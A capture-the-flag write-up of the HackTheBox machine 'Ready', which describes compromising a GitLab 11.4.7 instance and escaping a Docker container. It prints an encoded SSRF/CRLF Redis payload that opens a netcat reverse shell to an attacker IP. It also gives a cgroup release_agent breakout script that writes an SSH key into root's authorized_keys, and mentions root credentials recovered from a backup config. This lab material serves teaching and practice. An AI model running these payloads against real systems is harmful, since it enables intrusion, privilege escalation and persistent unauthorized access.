Ready was a medium box running a Gitlab instance with a direct exploit. Even though it was a medium box, the exploitation was straightforward from user to root. The root section might tangle a bit if you are not aware of the environment you are in.

The initial phase of the Nmap scan gave two ports. There was no port 80 but port 5080 was running Nginx, hence jumping straight to the IP without a Nmap scan is not a good approach, because there might be webservers running in different ports like for this box and new hosts that are specific to the machines (ex: machinename.htb )that has to be translated to IP names. A Nmap scan with -sC will get you the proper results.

# Nmap scan report for 10.10.10.220
Nmap scan report for 10.10.10.220
Host is up (0.21s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open  http    nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Browsing http://10.10.10.220:5080 responded with a GitLab instance. The registration function was available and to enumerate more, created a user. There were no restrictions in registration, to use a domain-specific email address. The first thing to do after registration was to look for the version of Gitlab.

htb ready | hackthebox ready

Ready was not the first box in HTB running GitLab instance, a recently retired box Laboratory had a GitLab instance. Browsing to the help section revealed the version, 11.4.7. and it had two CVEs CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF). Chaining both of them, it was possible to achieve an RCE. The RCE was done by SSRF targeting Redis for RCE via IPv6/IPv4 address embedding chained with CLRF injection in the git:// protocol.Liveoverflow has a detailed explanation in his youtube video, which covers the same vulnerability using the manual method. The payload to trigger the RCE was also available in Liveroverflow’s writeup.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%2010%2E10%2E14%2E10%209001%20%2de%20%2fbin%2fbash%20%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git

The process was simple, providing the above payload in the import URL field opened a shell. The shell broke within a few minutes, someone made a reset. Going back to the manual method was a tedious job, as a new user registration was required after every reset. The next problem was whenever the shell behaves unfriendly, the payload has to be delivered again. I had to face a few minutes of an outage with the shell and service following up with manual exploitation. To avoid all the hassles by manual exploitation, an exploit available in GitHub was used, GitLab RCE. Running the exploit along with Netcat gave a shell as git user at the location /var/opt/gitlab.The useful part of this exploit was it creates a random user so even if the box was reset getting a shell was an easy job.

$ python3 gitlab_rce.py http://10.10.10.220:5080 <attacking-IP>

I was sure the git user won’t be having any privilege to grab the user.txt.A good enumeration is always the helper to privilege escalation. The usernames for the box were required for that and listing the users in the home directory unfolded the user, dude. No files were revealing the credentials for the user. Recursive grepping the location /var/opt/gitlab was not helpful.

git@gitlab:~$ ls /home
dude

There was a backups folder in the GitLab directory but unfortunately, that was empty. After few minutes of manual enumeration on the subdirectories of the root directory, a backup folder was found. It was located at /opt/backup.There were three files in the directory, and GitLab.rb had SMTP credentials for the root user. Those credentials worked.

git@gitlab:/opt/backup$ ls
docker-compose.yml  gitlab-secrets.json  gitlab.rb
git@gitlab:/opt/backup$ su
Password:
root@gitlab:/opt/backup#

With root user privilege, user.txt was done but it never had the privilege to read root.txt, and that was predictable. But then escalating to read root.txt was not that hard. It was clear root user was inside a docker container since it was root@gitlab. Escaping the docker container was easy than getting the user because hacktricks had that documented well at docker breakout. First, the capabilities of the container have to be listed. If it has any one of the following ones, it might be possible to escape from it,

  • CAP_SYS_ADMIN
  • CAP_SYS_PTRACE
  • CAP_SYS_MODULE
  • DAC_READ_SEARCH
  • DAC_OVERRIDE

To check the capabilities capsh --print can be used. There is a dedicated page for Linux capabilities by hacktricks available here. cap_sys_admin was present and the next part was to list host drives. The host drive is required since the filesystem of the host has to be mounted. Everything was done one by one and the host filesystem was mounted.

root@gitlab:/usr/bin# capsh --print
Current: = <snip>,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin<snip>
<snip>
.
..
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
root@gitlab:/usr/bin# fdisk -l
<snip>
.
..
Device        Start      End  Sectors Size Type
/dev/sda1      2048     4095     2048   1M BIOS boot
/dev/sda2      4096 37746687 37742592  18G Linux filesystem
/dev/sda3  37746688 41940991  4194304   2G Linux swap
root@gitlab:/usr/bin# mkdir -p /mnt/hola
root@gitlab:/usr/bin# mount /dev/sda2 /mnt/hola
root@gitlab:/usr/bin#
root@gitlab:/usr/bin# cd /mnt/hola/root
root@gitlab:/mnt/hola/root# ls
root@gitlab:/mnt/hola/root# docker-gitlab  ready-channel  root.txt  snap
root@gitlab:/mnt/hola/root# cat root.txt

The sda2 drive had the Linux filesystem, as shown above, it was mounted to /mnt/hola and the root flag was captured. But this approach has a small problem, not for this box, but on a real-world pentesting. If stable access to the system is required, getting a reverse shell every time will be a pain. Docker privilege escalation techniques by hacktricks has a POC which has to be changed by adding the attacker’s id_rsa.pub as given below. Even if the Netcat shell is broken at any stage, the server can be accessed via SSH.

mkdir /tmp/dedsec && mount -t cgroup -o rdma cgroup /tmp/dedsec && mkdir /tmp/dedsec/x
echo 1 > /tmp/dedsec/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/dedsec/release_agent
echo '#!/bin/sh' > /cmd
echo "echo 'ssh-rsa ..' > /root/.ssh/authorized_keys" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/dedsec/x/cgroup.procs"